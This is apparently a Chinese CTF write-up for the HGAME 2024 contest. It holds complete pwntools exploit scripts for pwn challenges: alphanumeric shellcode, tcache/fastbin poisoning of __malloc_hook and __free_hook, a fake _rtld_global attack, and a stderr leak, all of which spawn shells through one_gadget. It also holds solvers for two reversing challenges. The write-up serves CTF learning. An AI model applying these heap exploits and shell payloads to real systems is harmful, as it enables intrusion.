谁除夕和情人节还在加班写 wp 啊😭2024要脱离 game 级别!
目录
Week1 week1 在做项目,把这事给忘了,做 week2 的时候为了找灵感做了一下 week1 的 ezshellcode
Pwn ezshellcode alphanumeric shellcode1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * from ae64 import * from LibcSearcher import * context(os='linux',arch='amd64',log_level='debug') context.terminal = ['tmux', 'splitw', '-h'] ip = '106.14.57.14:30657'.split(':') file = './vuln' io = remote(ip[0],int(ip[1])) # io = process(file) elf = ELF('./vuln') # --------------------------------------------------------------------- io.sendlineafter('input the length of your shellcode:',str(-1)) payload = asm(shellcraft.sh()) payload = AE64().encode(payload,'rax',0,'small') print(payload.decode('latin-1')) io.sendafter('input your shellcode:',payload) io.interactive()
Week2 Pwn - AK fastnote libc-2.31,填满 tcachebin 的 unsortedbin leak + fastbin attack1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import * from LibcSearcher import * context(os='linux',arch='amd64',log_level='debug') context.terminal = ['tmux', 'splitw', '-h'] ip = '47.102.130.35:31898'.split(':') file = './vuln' io = remote(ip[0],int(ip[1])) # io = process(file) # gdb.attach(io, 'breakpoint main') elf = ELF('./vuln') libc = ELF('./libc-2.31.so') # --------------------------------------------------------------------- def alloc(Index,size,content): io.sendlineafter('Your choice:', str(1)) io.sendlineafter('Index: ', str(Index)) io.sendlineafter('Size: ', str(size)) io.sendlineafter('Content: ', content) def show(Index): io.sendlineafter('Your choice:', str(2)) io.sendlineafter('Index: ', str(Index)) def free(Index): io.sendlineafter('Your choice:', str(3)) io.sendlineafter('Index: ', str(Index)) # --------------------------------------------------------------------- payload = 'A'*4 for i in range(8): alloc(i,0x80,payload) # chunk0-6 tcachebin, chunk7: unsortedbin alloc(8,0x10,payload) # 防annex for i in range(8): free(i) for i in range(7): alloc(i,0x80,payload) # chunk0-6 tcachebin payload = 'A'*7 alloc(7,0x08,payload) # 因为 read 函数貌似会把 chunk 内部用 '\x00' 填满,所以只申请0x08,可以留下 bk 里的信息 show(7) main_arena = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x80 - 0x60 main_arena_offset = libc.sym["__malloc_hook"] + 0x10 libc_base = main_arena - main_arena_offset print("main_arena ---> ",hex(main_arena)) print("main_arena_offset ---> ",hex(main_arena_offset)) print("libc_base ---> ",hex(libc_base)) alloc(0,0x60,payload) # 申请 unsortedbin 里面的 chunk,便于后面 alloc # gdb.attach(io) payload = 'a'*8 for i in range(9): alloc(i,0x10,payload) # chunk0-6:"7 tcachebin chunks" || chunk7,8:"fastbin chunk" for i in range(9): free(i) # free(0-6) free(7,8) free(7) # gdb.attach(io) # state1 for i in range(7): alloc(i,0x10,payload) # chunk0-6: 清空tcachebin malloc_addr = libc_base + libc.sym['__malloc_hook'] print("malloc_addr ---> ",hex(malloc_addr)) payload = p64(malloc_addr) alloc(7,0x10,payload) # chunk7: 劫持由fastbin生成的tcachebin链 io.sendlineafter('Your choice:', str(1)) io.sendlineafter('Index: ', str(7)) io.sendlineafter('Size: ', str(0x10)) io.sendafter('Content: ', payload) alloc(8,0x10,payload) # chunk8: chunk8 one_gadget = [0xe3afe, 0xe3b01, 0xe3b04] payload = p64(libc_base + one_gadget[1]) alloc(9,0x10,payload) # chunk9: Any Address # gdb.attach(io) # alloc(10,0x10,payload) # getshell io.sendlineafter('Your choice:', str(1)) io.sendlineafter('Index: ', str(10)) io.sendlineafter('Size: ', str(0x10)) # gdb.attach(io) io.interactive() ''' 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL '''
old_fastnote libc-2.23,unsortedbin leak + fastbin attack,注意 fastbin chunk 的 size 域构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 from pwn import * from LibcSearcher import * context(os='linux',arch='amd64',log_level='debug') context.terminal = ['tmux', 'splitw', '-h'] ip = '106.14.57.14:32449'.split(':') file = './vuln' io = remote(ip[0],int(ip[1])) # io = process(file) # gdb.attach(io, 'breakpoint main') elf = ELF('./vuln') libc = ELF('./libc-2.23.so') # --------------------------------------------------------------------- def alloc(Index,size,content): io.sendlineafter('Your choice:', str(1)) io.sendlineafter('Index: ', str(Index)) io.sendlineafter('Size: ', str(size)) io.sendlineafter('Content: ', content) def show(Index): io.sendlineafter('Your choice:', str(2)) io.sendlineafter('Index: ', str(Index)) def free(Index): io.sendlineafter('Your choice:', str(3)) io.sendlineafter('Index: ', str(Index)) # --------------------------------------------------------------------- payload = 'A'*4 for i in range(1): alloc(i,0x80,payload) # chunk0: unsortedbin alloc(1,0x10,payload) # chunk1 防annex for i in range(1): free(i) payload = 'A'*7 alloc(0,0x08,payload) # 因为 read 函数貌似会把 chunk 内部用 '\x00' 填满,所以只申请0x08,可以留下 bk 里的信息 show(0) main_arena = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x80 - 88 main_arena_offset = libc.sym["__malloc_hook"] + 0x10 libc_base = main_arena - main_arena_offset print("main_arena ---> ",hex(main_arena)) print("main_arena_offset ---> ",hex(main_arena_offset)) print("libc_base ---> ",hex(libc_base)) # gdb.attach(io) alloc(0,0x60,payload) # 申请 unsortedbin 里面的 chunk,便于后面 alloc # gdb.attach(io) payload = 'a'*8 for i in range(2): alloc(i,0x60,payload) # chunk0,1:"fastbin chunk" for i in range(2): free(i) # free(0,1) free(0) # gdb.attach(io) # state1 malloc_addr = libc_base + libc.sym['__malloc_hook'] - 0xb - 0x18 print("malloc_addr ---> ",hex(malloc_addr)) payload = p64(malloc_addr) io.sendlineafter('Your choice:', str(1)) io.sendlineafter('Index: ', str(7)) io.sendlineafter('Size: ', str(0x60)) io.sendafter('Content: ', payload) alloc(8,0x60,payload) # chunk8: chunk8 alloc(9,0x60,payload) # chunk9: Any Address # gdb.attach(io) one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247] payload = p64(libc_base + one_gadget[3]) payload = b'\x00'*19 + payload io.sendlineafter('Your choice:', str(1)) io.sendlineafter('Index: ', str(10)) io.sendlineafter('Size: ', str(0x60)) io.sendafter('Content: ', payload) io.sendlineafter('Your choice:', str(1)) io.sendlineafter('Index: ', str(10)) io.sendlineafter('Size: ', str(0x60)) # gdb.attach(io) io.interactive() ''' 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
eldenRing2 必须 patch 才能运行 vuln,用给的 libc.so.6 测试出来是 libc-2.31。
做法跟 fastnote 一样,填满 tcachebin 的unsortedbin leak + fastbin attack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from pwn import * from LibcSearcher import * context(os='linux',arch='amd64',log_level='debug') context.terminal = ['tmux', 'splitw', '-h'] ip = '106.14.57.14:32672'.split(':') file = './vuln' # io = remote(ip[0],int(ip[1])) io = process(file) # gdb.attach(io, 'breakpoint main') elf = ELF('./vuln') libc = ELF('./libc.so.6') # --------------------------------------------------------------------- def alloc(Index,size): io.sendlineafter('>', str(1)) io.sendlineafter('Index: ', str(Index)) # 最多16个idx,不能重复使用 io.sendlineafter('Size: ', str(size)) # 最大0xFF -> 0x100 def free(Index): io.sendlineafter('>', str(2)) io.sendlineafter('Index: ', str(Index)) # 可以 UAF def edit(Index,content): io.sendlineafter('>', str(3)) io.sendlineafter('Index: ', str(Index)) io.sendlineafter('Content: ', content) def show(Index): io.sendlineafter('>', str(4)) io.sendlineafter('Index: ', str(Index)) # --------------------------------------------------------------------- for i in range(8): alloc(i,0x80) # chunk0-6: tcachebin; chunk7: unsortedbin alloc(8,0x10) # chunk8: 防 annex for i in range(8): free(i) show(7) main_arena = u64(io.recvuntil('\x7f').ljust(8,b'\x00')) - 0x60 print('main_arena ---> ',hex(main_arena)) libc_base = main_arena - 0x1ECB80 print('libc_base ---> ',hex(libc_base)) __malloc_hook = libc_base + libc.sym['__malloc_hook'] print('__malloc_hook ---> ',hex(__malloc_hook)) payload = p64(__malloc_hook) edit(6,payload) gdb.attach(io) alloc(9,0x80) gdb.attach(io) alloc(10,0x80) gdb.attach(io) one_gadget = [0xe3afe, 0xe3b01, 0xe3b04] for i in range(len(one_gadget)): one_gadget[i] += libc_base payload = p64(one_gadget[1]) io.sendlineafter('>', str(3)) io.sendlineafter('Index: ', str(10)) io.sendafter('Content: ', payload) io.sendlineafter('>', str(1)) io.sendlineafter('Index: ', str(11)) io.sendlineafter('Size: ', str(0x10)) # gdb.attach(io) io.interactive() ''' 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL '''
ShellcodeMaster 这题卡了最久…观察程序 context 然后研究怎么压缩 shellcode,整了老半天
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import * from LibcSearcher import * context(os='linux',arch='amd64',log_level='debug') context.terminal = ['tmux', 'splitw', '-h'] ip = '106.14.57.14:31224'.split(':') file = './vuln' # io = remote(ip[0],int(ip[1])) io = process(file) # elf = ELF('./vuln') # --------------------------------------------------------------------- code = ''' xor eax, eax cdq mov al, 10 xchg rdi, r15 mov dl, 7 syscall xor eax, eax xchg esi, edi xor edi, edi xchg edx, ebx syscall ''' shellcode1 = ''' mov rdi,0x2333008 xor esi,esi mov rax,2 syscall xor edx,edx mov rdi,3 mov rdx,0x50 mov esi,0x2333100 mov rax,0 syscall mov rdi,1 mov rdx,0x50 mov esi,0x2333100 mov rax,1 syscall ''' payload1 = asm(shellcode1) shellcode=asm(code) print(len(shellcode)) payload = b'\x90'*(len(shellcode)-14) + b'flag\x00\x00\x00\x00' + b'\x90'*8 + payload1 # gdb.attach(io,'n 27') io.sendafter('bytes shellcode\n\n',shellcode) io.send(payload) io.interactive()
Rev - 2/4 ezcpp 这题读 cpp 的部分相当简单,核心加密部分用的 Tea,不过魔改了加密的 block,只加密了前12bytes,还魔改了加密前 8bytes 时的 delta.
babyre 多线程处理,不过每一次加密都是原子的,idx是全局变量,等前一个thread释放以后下一个thread才能处理,所以数组每一个元素都被加密一次,整个程序使用类似于 ECB 的方式加密。
所以我们可以用最后一位也就是藏在 flag 后面的的 flag[33] 来一位一位的向前解密
但这题比较恶心的点就是,触发 SIGFPE 会flag[33]++,在加密flag[32]也就是}
这个字符时有一定的变化
其次,触发 SIGFPE 还会让 ‘feifei’ 这个 key 再被 xor 0x11
一轮,所以中间的 key 值会更改好几次,我们还没办法具体预测哪里触发了 SIGFPE 。
但根据 flag 的前几位为hgame{
,我们可以用 try-except 来从前向后解密,如果发现出现的字符不对,或者抛出异常,我们就可以确定原程序这里触发了 SIGFPE,我们就自行对 key 值 xor,这样到最后也不用管 flag[33] 了
python 处理可能会溢出的数据一定要记得 & 0x..FF 取低位字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 encflag = [0x00002F14 , 0x0000004E , 0x00004FF3 , 0x0000006D , 0x000032D8 , 0x0000006D , 0x00006B4B , 0xFFFFFF92 , 0x0000264F , 0x0000005B , 0x000052FB , 0xFFFFFF9C , 0x00002B71 , 0x00000014 , 0x00002A6F , 0xFFFFFF95 , 0x000028FA , 0x0000001D , 0x00002989 , 0xFFFFFF9B , 0x000028B4 , 0x0000004E , 0x00004506 , 0xFFFFFFDA , 0x0000177B , 0xFFFFFFFC , 0x000040CE , 0x0000007D , 0x000029E3 , 0x0000000F , 0x00001F11 , 0x000000FF ,0xFa ] flag = 'hgame{yo23412341234123412341234}' key = list ('wtxwtx' ) flag = list (flag) for i in range (len (flag)): flag[i] = ord (flag[i]) for i in range (len (key)): key[i] = ord (key[i]) for i in range (6 ): print (chr (flag[i]),end='' ) exc = [8 ,11 ,14 ,17 ,20 ,23 ,26 ,29 ] for i in range (5 ,30 ): if i in exc: for j in range (6 ): key[j] = key[j] ^ 0x11 if i % 4 == 0 : flag[i+1 ] = (encflag[i] - flag[i]) // key[(i+1 )%6 ] print (chr (flag[i+1 ]),end='' ) elif i % 4 == 1 : flag[i+1 ] = ((flag[i] - encflag[i]) & 0xFFFFFFFF ) ^ key[(i+1 )%6 ] print (chr (flag[i+1 ]),end='' ) elif i % 4 == 2 : flag[i+1 ] = (encflag[i] // flag[i]) - key[(i+1 )%6 ] print (chr (flag[i+1 ]),end='' ) elif i % 4 == 3 : flag[i+1 ] = ((flag[i] ^ encflag[i]) + key[(i+1 )%6 ]) & 0xFFFFFFFF print (chr (flag[i+1 ]),end='' ) print (chr (flag[31 ]),end='' )
Week3 Pwn - 一血 EldenRing3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ,log_level='debug' ) context.terminal = ['tmux' , 'splitw' , '-h' ] ip = '106.14.57.14:30208' .split(':' ) file = './vuln' io = process(file) elf = ELF(file) libc = ELF('./libc.so.6' ) def alloc (Index,size,content ): io.sendlineafter('>' , str (1 )) io.sendlineafter('Index: ' , str (Index)) io.sendlineafter('Size: ' , str (size)) def free (Index ): io.sendlineafter('>' , str (2 )) io.sendlineafter('Index: ' , str (Index)) def edit (Index,content ): io.sendlineafter('>' , str (3 )) io.sendlineafter('Index: ' , str (Index)) io.sendafter('Content: ' , content) def show (Index ): io.sendlineafter('>' , str (4 )) io.sendlineafter('Index: ' , str (Index)) payload = 'a' *8 alloc(0 ,0x500 ,payload) alloc(1 ,0x500 ,payload) free(0 ) payload = '\x01' edit(0 ,payload) show(0 ) main_arena = u64(io.recvuntil('\x7f' ).ljust(8 ,b'\x00' )) - 0x01 - 0x60 libc_base = main_arena - (libc.sym['__malloc_hook' ] + 0x10 ) large_bin = main_arena + 0x60 + 1072 rtld_global = libc_base + 0x21b040 payload = '\x00' edit(0 ,payload) free(1 ) alloc(0 ,0x5f0 ,payload) free(0 ) alloc(1 ,0x500 ,payload) alloc(2 ,0x500 ,payload) alloc(3 ,0x5f0 ,payload) free(3 ) alloc(4 ,0x500 ,payload) alloc(5 ,0x500 ,payload) payload = b'\x00' *0x500 + p64(0 ) + p64(0x21 ) + p64(0 ) + p64(0 ) + p64(0 ) + p64(0x4f1 ) edit(0 ,payload) edit(3 ,payload) free(2 ) free(5 ) show(2 ) heap_base = u64(io.recvuntil('\x0A' )[-6 :-1 ].ljust(8 ,b'\x00' )) << 12 print ('heap_base ---> ' ,hex (heap_base))payload = b'\x00' *0x500 + p64(0 ) + p64(0x511 ) + p64(0 ) + p64(0 ) edit(0 ,payload) edit(3 ,payload) free(1 ) free(2 ) free(4 ) free(5 ) payload = '\x00' alloc(0 ,0x528 ,payload) alloc(1 ,0x508 ,payload) alloc(2 ,0x518 ,payload) alloc(3 ,0x500 ,payload) free(0 ) alloc(4 ,0x538 ,payload) free(2 ) print ('rtld_global1 ---> ' ,hex (rtld_global))rtld_global = libc_base + ELF('ld-linux-x86-64.so.2' ).sym['_rtld_global' ] print ('rtld_global2 ---> ' ,hex (rtld_global))payload = p64(0 )*3 +p64(rtld_global - 0x31028 - 0x20 ) edit(0 ,payload) alloc(5 ,0x600 ,payload) fake_rtld_global = heap_base + 0xcd0 + 0x10 one_gadget = [0xdf54c , 0xdf54f , 0xdf552 ] for i in range (3 ): one_gadget[i] += libc_base fake_rtld_global = heap_base + 0xcd0 payload = p64(0 )*3 + p64(fake_rtld_global) payload = payload.ljust(0x38 ,b'\x00' ) payload += p64(fake_rtld_global + 0x58 ) + p64(0x8 ) + p64(one_gadget[0 ]) payload = payload.ljust(0x100 ,b'\x00' ) payload += p64(fake_rtld_global + 0x40 ) + p64(0 ) payload += p64(fake_rtld_global + 0x48 ) payload = payload.ljust(0x30c ,b'\x00' ) payload += p64(0x1c ) edit(2 ,payload) edit(1 ,b'b' *0x500 + p64(0 )) next_node = rtld_global - 0x31028 print ('main_arena ---> ' ,hex (main_arena))print ('libc_base ---> ' ,hex (libc_base))print ('rtld_global ---> ' ,hex (rtld_global))print ('next_node ---> ' ,hex (next_node))io.sendline(str (5 )) io.interactive() ''' 0xdf54c execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xdf54f execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xdf552 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL '''
你满了,那我就漫出来了! 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ,log_level='debug' ) context.terminal = ['tmux' , 'splitw' , '-h' ] ip = '139.196.137.203:32320' .split(':' ) file = './vuln' io = process(file) elf = ELF(file) libc = ELF('./libc-2.27.so' ) def alloc (Index,size,content ): io.sendlineafter('Your choice:' , str (1 )) io.sendlineafter('Index: ' , str (Index)) io.sendlineafter('Size: ' , str (size)) io.sendafter('Content: ' , content) def show (Index ): io.sendlineafter('Your choice:' , str (2 )) io.sendlineafter('Index: ' , str (Index)) def free (Index ): io.sendlineafter('Your choice:' , str (3 )) io.sendlineafter('Index: ' , str (Index)) payload = 'a' *0x17 alloc(0 ,0x88 ,payload) alloc(1 ,0x18 ,payload) alloc(2 ,0xf8 ,payload) free(1 ) for i in range (7 ): alloc(i+3 ,0x88 ,payload) for i in range (7 ): free(i+3 ) free(0 ) payload = b'a' *0x10 + p64(0xb0 ) alloc(1 ,0x18 ,payload) for i in range (7 ): alloc(i+3 ,0xf8 ,payload) for i in range (7 ): free(i+3 ) free(2 ) for i in range (7 ): alloc(i+3 ,0x80 ,payload) alloc(15 ,0x80 ,payload) show(1 ) main_arena = u64(io.recvuntil('\x7f' ).ljust(8 ,b'\x00' )) - 0x60 libc_base = main_arena - (libc.sym['__malloc_hook' ]+0x10 ) free_hook = libc_base + libc.sym['__free_hook' ] sys_addr = libc_base + libc.sym['system' ] for i in range (7 ): free(i+3 ) free(15 ) payload = b'\x00' *0x88 + p64(0x21 ) alloc(15 ,0xa0 ,payload) free(1 ) for i in range (7 ): alloc(i+3 ,0xf0 ,payload) alloc(14 ,0xf0 ,payload) for i in range (7 ): free(i+3 ) for i in range (7 ): alloc(i+3 ,0xa0 ,payload) for i in range (7 ): free(i+3 ) free(15 ) free(14 ) payload = b'\x00' *0x88 + p64(0x21 ) + p64(free_hook) for i in range (7 ): alloc(i+3 ,0xa0 ,payload) print ('libc_base ---> ' ,hex (libc_base))print ('free_hook ---> ' ,hex (free_hook))print ('sys_addr ---> ' ,hex (sys_addr))alloc(15 ,0xa0 ,payload) payload = '/bin/sh' alloc(14 ,0x18 ,payload) payload = p64(sys_addr) alloc(13 ,0x18 ,payload) free(14 ) io.interactive(pre="ls\n" ) ''' 0x4f2a5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a2fc execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
Week4 Pwn EldenRing Final 开学一直没时间打,比赛结束了复现一下这道题,只复现到了 leak stderr 的部分,后面的部分就只是 overlap + fastbin 打 malloc_hook
1 2 p *(struct _IO_FILE*)_IO_2_1_stderr_
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) context.terminal = ['tmux' , 'splitw' , '-h' ] ip = '139.196.137.203:32320' .split(':' ) file = './vuln' io = process(file) elf = ELF(file) libc = ELF('./libc-2.23.so' ) def allocPage (): io.sendlineafter('>\n' , str (1 )) def deletePage (Index ): io.sendlineafter('>\n' , str (2 )) io.sendlineafter('which page?\n>\n' , str (Index)) def allocNote (pageID,size,content ): io.sendlineafter('>\n' , str (3 )) io.sendlineafter(' attach to?\n>\n' , str (pageID)) io.sendlineafter('size:\n>\n' , str (size)) io.sendafter('content:\n>\n' , content) def deleteNote (pageID,noteID ): io.sendlineafter('>\n' , str (4 )) io.sendlineafter('which page_ID?\n>\n' , str (pageID)) io.sendlineafter('which note_ID would you like to delete?\n>\n' , str (noteID)) def dbg (is_dbg ): if is_dbg: gdb.attach(io,gdbinit) else : gdb.attach(io) def info (name,value ): print ('{} ---> {}' .format (name, hex (value))) gdbinit = ''' b *0x400B69 b *0x400B6E c record c ''' while True : try : io = process(file) payload = 'a' *8 allocNote(0 ,0x20 ,payload) allocNote(0 ,0x20 ,payload) allocNote(0 ,0x20 ,payload) allocNote(0 ,0x20 ,payload) allocNote(0 ,0x20 ,payload) deleteNote(0 ,1 ) deleteNote(0 ,2 ) deleteNote(0 ,3 ) deleteNote(0 ,4 ) allocNote(0 ,0x18 ,b'6' ) allocNote(0 ,0xf8 ,b'7' ) allocNote(0 ,0x68 ,b'8' ) allocNote(0 ,0x68 ,b'9' ) allocNote(0 ,0x18 ,b'10' ) deleteNote(0 ,6 ) allocNote(0 ,0x18 ,b'a' *0x18 + b'\xe1' ) deleteNote(0 ,7 ) deleteNote(0 ,8 ) allocNote(0 ,0xd8 ,b'\xd8' ) allocNote(0 ,0x18 ,b'\x18' ) allocNote(0 ,0x18 ,b'\xdd\x45' ) deleteNote(0 ,13 ) allocNote(0 ,0x18 ,p64(0 )*3 +b'\x71' ) allocNote(0 ,0x68 ,b'\x68' ) payload = b'a' *0x33 + p64(0xfbad1800 ) + p64(0 )*3 + b'\x58' dbg(1 ) allocNote(0 ,0x68 ,payload) libc_base = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) - libc.sym['_IO_2_1_stderr_' ] - 0x163 info('libc_base' ,libc_base) except : io.close() else : break one_gadget = [0x45206 ,0x4525a ,0xef9f4 ,0xf0897 ] for i in range (4 ): one_gadget[i] = libc_base + one_gadget[i] malloc_hook = libc_base + libc.sym['__malloc_hook' ] io.interactive()